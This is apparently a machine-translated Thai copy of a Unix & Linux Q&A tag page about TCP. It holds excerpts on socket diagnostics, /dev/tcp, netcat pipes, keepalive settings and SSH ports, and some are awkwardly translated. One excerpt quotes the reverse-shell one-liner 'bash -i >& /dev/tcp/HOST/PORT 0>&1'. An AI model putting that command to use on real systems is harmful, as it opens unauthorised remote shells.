คำถามติดแท็ก tcp

Transport Control Protocol (TCP) เป็นส่วนต่ำของโปรโตคอลสแต็กที่ใช้โดยอินเทอร์เน็ต มันตั้งอยู่เหนือ IP เลเยอร์โดยตรงและมีหน้าที่รับผิดชอบในการทำให้แน่ใจว่าแพ็กเก็ตที่ถูกทิ้งนั้นส่งใหม่

3
โครงสร้างซ็อกเก็ตเคอร์เนลและ TCP_DIAG
ฉันกำลังทำงานกับซอฟต์แวร์ที่เชื่อมต่อกับเซิร์ฟเวอร์ข้อมูลแบบเรียลไทม์ (โดยใช้ TCP) และฉันมีการเชื่อมต่อลดลง ฉันเดาว่าลูกค้าไม่อ่านข้อมูลที่มาจากเซิร์ฟเวอร์เร็วพอ ดังนั้นฉันต้องการตรวจสอบซ็อกเก็ต TCP ของฉัน สำหรับสิ่งนี้ฉันพบเครื่องมือ "ss" เครื่องมือนี้อนุญาตให้เห็นสถานะของซ็อกเก็ตทุกอัน - นี่คือตัวอย่างบรรทัดของเอาต์พุตของคำสั่ง ss -inm 'src *:50000' ESTAB 0 0 184.7.60.2:50000 184.92.35.104:1105 mem:(r0,w0,f0,t0) sack rto:204 rtt:1.875/0.75 ato:40 คำถามของฉันคืออะไรส่วนความจำหมายถึงอะไร ดูที่ซอร์สโค้ดของเครื่องมือฉันพบว่าข้อมูลมาจากโครงสร้างเคอร์เนล ( sockในsock.h) แม่นยำยิ่งขึ้นมันมาจากฟิลด์: r = sk->sk_rmem_alloc w = sk->sk_wmem_queued; f = sk->sk_forward_alloc; t = sk->sk_wmem_alloc; มีใครรู้บ้างว่าพวกเขาหมายถึงอะไร? ฉันเดาว่า: rmem_alloc : ขนาดของบัฟเฟอร์ขาเข้า wmem_alloc …
18 linux  tcp  socket 

1
วิธียกเลิกการเชื่อมต่อ TCP ที่สร้างโดย bash เอง?
ฉันเคยexec 3<>/dev/tcp/192.168.0.101/6435สร้างการเชื่อมต่อ TCP กับ 192.168.0.101:6435 และฉันได้รับรวมทั้งส่งข้อความสองสามข้อความด้วยpipeคำคำสั่ง ตอนนี้ฉันต้องการยกเลิกการเชื่อมต่อ TCP แต่ด้วยss -anpetฉันสามารถเห็นว่าทุบตีตัวเองถือการเชื่อมต่อนี้โดยไม่ต้องแยกกระบวนการเด็ก ฉันพยายามส่งสัญญาณ 9 และ 15 ไปยังกระบวนการทุบตี แต่อย่างที่ทราบกันว่าทุบตีไม่สามารถฆ่าตัวตายได้ ดังนั้นฉันสามารถยุติการเชื่อมต่อ TCP ที่ฉันสร้างขึ้นได้โดยไม่ยกเลิก pts ที่ฉันกำลังใช้ (ไม่ฆ่าด้วย root หรือส่ง Ctrl + D)?

4
TCP เสียชีวิตบนแล็ปท็อป Linux
หนึ่งครั้งในอีกหลายวันฉันมีปัญหาดังต่อไปนี้ แล็ปท็อปของฉัน (การทดสอบแบบเดเบียน) ไม่สามารถทำงานกับการเชื่อมต่อ TCP กับอินเทอร์เน็ตได้ในทันที สิ่งต่อไปนี้ทำงานได้ดี: UDP (DNS), ICMP (ping) - ฉันได้รับการตอบกลับทันที การเชื่อมต่อ TCP ไปยังเครื่องอื่น ๆ ในเครือข่ายท้องถิ่น (เช่นฉันสามารถ ssh กับแล็ปท็อปเพื่อนบ้าน) ทุกอย่างก็โอเคสำหรับเครื่องอื่น ๆ ใน LAN ของฉัน แต่เมื่อฉันลองเชื่อมต่อ TCP จากแล็ปท็อปของฉันหมดเวลา (ไม่ตอบกลับแพ็คเก็ต SYN) นี่คือเอาต์พุตของขดทั่วไป: % curl -v google.com * About to connect() to google.com port 80 (#0) * Trying 173.194.39.105... * Connection …
17 debian  networking  tcp 

2
/ dev / {udp, tcp} เป็นมาตรฐานหรือมีอยู่ทุกที่หรือไม่?
ฉันได้เรียนรู้เมื่อเร็ว ๆ นี้เกี่ยวกับ/dev/udpและ/dev/tcpหลอกอุปกรณ์ที่นี่ พวกมันจำเพาะเจาะจงกับ GNU / Linux ดิสทริบิวชันหรือฉันสามารถหามันในระบบยูนิกซ์อื่น ๆ ได้หรือไม่? พวกเขามีมาตรฐานในบางวิธี? จนถึงตอนนี้ฉันสามารถใช้พวกมันสำเร็จบน OS X, Arch Linux และ CentOS
17 devices  tcp  udp  portability 

1
เหตุใดปริมาณงาน TCP ของฉันจึงมากกว่าปริมาณงาน UDP มาก
ฉันไม่ได้ทำอะไรผิดปกติกับการกำหนดค่าฮาร์ดแวร์หรือเคอร์เนล (การตั้งค่าเริ่มต้นทั้งหมด, การติดตั้งระบบปฏิบัติการใหม่, Linux kernel 3.11 TCP / IP สแต็ค) และฉันเฉลี่ยประมาณ 3.83 ล้านข้อความต่อวินาทีผ่าน TCP ในขณะที่ฉันเฉลี่ยเพียง 0.75 ล้านข้อความต่อวินาทีผ่าน UDP ดูเหมือนว่าจะท้าทายสิ่งที่ฉันคาดหวังของทั้งสองโปรโตคอลอย่างสมบูรณ์ อะไรเป็นสาเหตุที่ทำให้เกิดความแตกต่างอย่างมากและฉันจะวินิจฉัยบน Ubuntu 13.10 ได้อย่างไร #TCP RESULTS Recv Send Send Utilization Service Demand Socket Socket Message Elapsed Send Recv Send Recv Size Size Size Time Throughput local remote local remote bytes bytes …

2
ใช้งานจริงของ TCP_DEFER_ACCEPT หรือไม่
ฉันอ่านคู่มือ httpd ของ Apache ออนไลน์และพบกับคำสั่งสำหรับการเปิดใช้งานนี้ พบคำอธิบายในหน้าคนสำหรับtcp: TCP_DEFER_ACCEPT (since Linux 2.4) Allow a listener to be awakened only when data arrives on the socket. Takes an integer value (seconds), this can bound the maximum number of attempts TCP will make to complete the connection. This option should not be used in …

3
ใช้เข้า / ออกชื่อไปป์สำหรับการเชื่อมต่อ TCP
ฉันเล่นซอให้เรื่องนี้ทำงานได้ซักพักแล้วดังนั้นฉันจึงสงสัยว่าความเข้าใจผิดพื้นฐานบางอย่างเกี่ยวกับการทำงานของท่อเป็นสาเหตุของปัญหาของฉัน เป้าหมายของฉันคือการเริ่มต้นการเชื่อมต่อ TCP ไปยังรีโมตโฮสต์ผ่านnetcatและมีไพพ์ที่มีชื่อสองไฟล์ในระบบไฟล์: กระบวนการหนึ่งที่กระบวนการสามารถอ่านเพื่อรับข้อมูลขาเข้าและอื่น ๆ ที่กระบวนการสามารถเขียนไปยังข้อมูลขาออก ฉันกำลังใช้สิ่งก่อสร้างต่อไปนี้: mkfifo in mkfifo out cat out | netcat foo.bar.org 4000 > in & จากที่นี่ฉันต้องการอนุญาตให้กระบวนการอื่นอ่านและเขียนไปยัง / จากการเชื่อมต่อ TCP แบบเปิดนี้ ควร "ใช้งานได้" หรือมีเหตุผลว่าทำไมการสร้างเช่นนี้ไม่สามารถใช้งานได้? สิ่งที่ดูเหมือนจะเกิดขึ้นในปัจจุบันคือฉันสามารถอ่านได้outโดยไม่มีปัญหา แต่เมื่อฉันเขียนถึงinฉันรับเอาท์พุทพูดถึงท่อที่ขาดและการสื่อสารที่ตามมาทั้งหมดดูเหมือนจะตาย คิด? (ที่เกี่ยวข้อง: ฉันใช้มา แต่เดิม: netcat foo.bar.org 4000 < out > in & แต่พบว่ามันบล็อกการรอการป้อนข้อมูล ฉันอยากรู้เกี่ยวกับสิ่งนี้เช่นกัน แต่มันอาจจะดีกว่าในคำถามที่แยกต่างหาก)
15 bash  pipe  tcp  netcat 

6
ฉันจะหาพอร์ตที่จะเข้าสู่ระบบด้วย SSH ได้อย่างไร
ฉันมีการตั้งค่าเซิร์ฟเวอร์ Ubuntu 10.04 จากระยะไกลที่ฉันกลับมาตั้งค่าอีกครั้ง ขณะที่ฉันบันทึกชื่อผู้ใช้และรหัสผ่านฉันดูเหมือนจะฉลาดและเปลี่ยนพอร์ต ssh ปกติจาก 22 เป็น ... อย่างอื่น ฉันจะค้นหาว่าพอร์ตนั้นอาจเป็นอย่างไร ฉันสามารถเข้าถึงเซิร์ฟเวอร์ผ่านประตูหลังของ บริษัท โฮสติ้งดังนั้นฉันจึงสามารถดำเนินการสิ่งที่จำเป็นต้องใช้คำสั่ง Unix - แต่ฉันไม่สามารถเข้าสู่ระบบโดยใช้ putty shell ปกติบนเครื่องของฉัน
15 ssh  tcp 

1
ความหมายของ bash -i> & / dev / tcp / HOST / PORT 0> & 1?
ฉันเหนื่อย bash -i >& /dev/tcp/HOST/PORT 0>&1 แต่ดูเหมือนจะไม่ทำงานหลังไฟร์วอลล์ รหัสนี้จะทำอะไรจริง ๆ แล้วพอร์ตใดที่ถูกส่งต่อและสามารถทำงานได้หลังไฟร์วอลล์

4
วิธีกำหนดค่า SVN / SSH ด้วย SSH บนพอร์ตที่ไม่ใช่มาตรฐาน
ฉันได้กำหนดค่า SSH ให้เป็นพอร์ต 20000 เมื่อฉันลอง: svn co svn+ssh://server.com:20000/home/svn/proj1 proj1 --username jm ฉันเข้าใจ svn: To better debug SSH connection problems, remove the -q option from 'ssh' in the [tunnels] section of your Subversion configuration file. svn: Network connection closed unexpectedly ฉันคิดว่าฉันต้องบอก SVN ให้ใช้พอร์ต 20,000 ด้วย ฉันใช้ Ubuntu 11.10
14 ssh  tcp  subversion 

2
วิธีการเรียก lsof อย่างถูกต้องเพื่อดึงการเชื่อมต่อ TCP ทั้งหมด?
# lsof -n -itcp | wc 92 919 10212 # lsof -n | grep TCP | wc 2482 27222 373861 สิ่งที่ฉันทำผิดพลาดกับlsof -itcp? การโทรดังกล่าวกำลังข้ามส่วนหนึ่งของการเชื่อมต่อดูเหมือนว่านี่เป็นการเชื่อมต่อของเธรด
14 tcp  lsof 

1
การตั้งค่าเริ่มต้น Linux TCP เหล่านี้มีวิธีตัดสินใจอย่างไร
ฉันใช้เวลาค่อนข้างนานในการติดตามปัญหาในการผลิตเมื่อไม่นานมานี้ที่เซิร์ฟเวอร์ฐานข้อมูลหายไปอาจทำให้หยุดทำงานนานถึง 2 ชั่วโมง (รอpoll()สายในไลบรารีไคลเอนต์ libpq นาน ๆ ) สำหรับไคลเอนต์ที่เชื่อมต่อ เมื่อขุดลงไปในปัญหาฉันรู้ว่าพารามิเตอร์ของเคอร์เนลเหล่านี้ควรปรับลงเพื่อให้การเชื่อมต่อ TCP ที่ขาดหายไปถูกสังเกตเห็นในเวลาที่เหมาะสม: net.ipv4.tcp_keepalive_time = 7200 net.ipv4.tcp_keepalive_probes = 9 net.ipv4.tcp_keepalive_intvl = 75 net.ipv4.tcp_retries2 = 15 ทั้งสี่ข้างต้นเป็นค่าจากอูบุนตู 12.04 เครื่องและดูเหมือนว่าค่าเริ่มต้นเหล่านี้จะไม่เปลี่ยนแปลงจากปัจจุบันค่าเริ่มต้นของลินุกซ์ ดูเหมือนว่าการตั้งค่าเหล่านี้จะมีอคติอย่างมากต่อการเปิดการเชื่อมต่อที่มีอยู่และตระหนี่อย่างยิ่งกับโพรบ Keepalive AIUI ค่าเริ่มต้นtcp_keepalive_timeของ 2 ชั่วโมงหมายถึงเมื่อเรารอการตอบสนองสำหรับโฮสต์ระยะไกลเราจะรออย่างอดทนเป็นเวลา 2 ชั่วโมงก่อนที่จะเริ่มใช้โพรบ Keepalive เพื่อตรวจสอบว่าการเชื่อมต่อของเรายังคงใช้ได้ และถ้าหากรีโมตโฮสต์ไม่ตอบสนองต่อโพรบ Keepalive เราจะลองโพรบ Keepalive 9 ครั้ง ( tcp_keepalive_probes) เว้นระยะห่าง 75 วินาที ( tcp_keepalive_intvl) …
13 linux  tcp  history 

1
การพิสูจน์ตัวตนและการอนุญาต D-Bus
ฉันกำลังพยายามตั้งค่าการเข้าถึงระยะไกลไปยัง D-Bus และฉันไม่เข้าใจว่าการรับรองความถูกต้องและการอนุญาต (ไม่) ทำงานได้อย่างไร ฉันมีเซิร์ฟเวอร์ D-Bus ที่ฟังบนซ็อกเก็ตแบบนามธรรม $ echo $DBUS_SESSION_BUS_ADDRESS unix:abstract=/tmp/dbus-g5sxxvDlmz,guid=49bd93b893fe40d83604952155190c31 ฉันวิ่งdbus-monitorไปดูว่าเกิดอะไรขึ้น กรณีทดสอบของฉันคือnotify-send helloซึ่งทำงานเมื่อดำเนินการจากเครื่องท้องถิ่น จากบัญชีอื่นในเครื่องเดียวกันฉันไม่สามารถเชื่อมต่อกับรถบัสนั้นได้ otheraccount$ DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-g5sxxvDlmz,guid=49bd93b893fe40d83604952155190c31 dbus-monitor Failed to open connection to session bus: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, …

1
TCP แอดเดรสซ็อกเก็ตโลคัลที่ถูกผูกไว้ไม่พร้อมใช้งานนานเท่าใดหลังจากปิดแล้ว
บน Linux (เซิร์ฟเวอร์ที่ใช้งานจริงของฉันอยู่ใน RHEL 5.5 - ลิงค์ LXR ด้านล่างเป็นเวอร์ชั่นของเคอร์เนล) man 7 ipกล่าวว่า: ที่อยู่ซ็อกเก็ต TCP ท้องถิ่นที่ถูกผูกไว้ไม่สามารถใช้งานได้หลังจากปิดไปแล้วยกเว้นว่าตั้งค่าสถานะ SO_REUSEADDR แล้ว SO_REUSEADDRฉันไม่ได้ใช้ "บางครั้ง" นานแค่ไหน? ฉันจะทราบได้ว่านานแค่ไหนและฉันจะเปลี่ยนได้อย่างไร ฉันทำตัวยุ่งเหยิงไปรอบ ๆ นี้และพบข้อมูลบางอย่างที่ไม่สามารถอธิบายได้จากมุมมองของโปรแกรมเมอร์แอปพลิเคชัน เพื่อปัญญา: TCP_TIMEWAIT_LENในnet/tcp.hคือ "ระยะเวลารอที่จะทำลายสถานะ TIME-WAIT" และได้รับการแก้ไขที่ "ประมาณ 60 วินาที" / proc / sys / net / ipv4 / tcp_fin_timeoutคือ "เวลาเก็บซ็อกเก็ตในสถานะ FIN-WAIT-2 หากปิดด้านข้างของเรา" และ "ค่าเริ่มต้นคือ 60 วินาที" ที่ซึ่งฉันสะดุดอยู่ในการเชื่อมช่องว่างระหว่างโมเดลของเคอร์เนลของวงจรชีวิต …

2
อ่าน“ / proc” เพื่อทราบว่ากระบวนการเปิดพอร์ตหรือไม่
ฉันจำเป็นต้องรู้ว่ากระบวนการที่มี PID ที่กำหนดเป็นเปิดพอร์ตโดยไม่ใช้คำสั่งภายนอกหรือไม่ ฉันต้องใช้/procระบบไฟล์ ฉันสามารถอ่าน/proc/$PID/net/tcpไฟล์ได้และรับข้อมูลเกี่ยวกับพอร์ต TCP ที่เปิดโดยกระบวนการ อย่างไรก็ตามในกระบวนการมัลติเธรด/proc/$PID/task/$TIDไดเร็กทอรีจะมีnet/tcpไฟล์ด้วย คำถามของฉันคือ: ฉันจะต้องข้ามnet/tcpไฟล์เธรดทั้งหมดหรือไม่พอร์ตที่เปิดโดยเธรดจะถูกเขียนลงในnet/tcpไฟล์กระบวนการ
13 linux  tcp  proc  open-files 

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.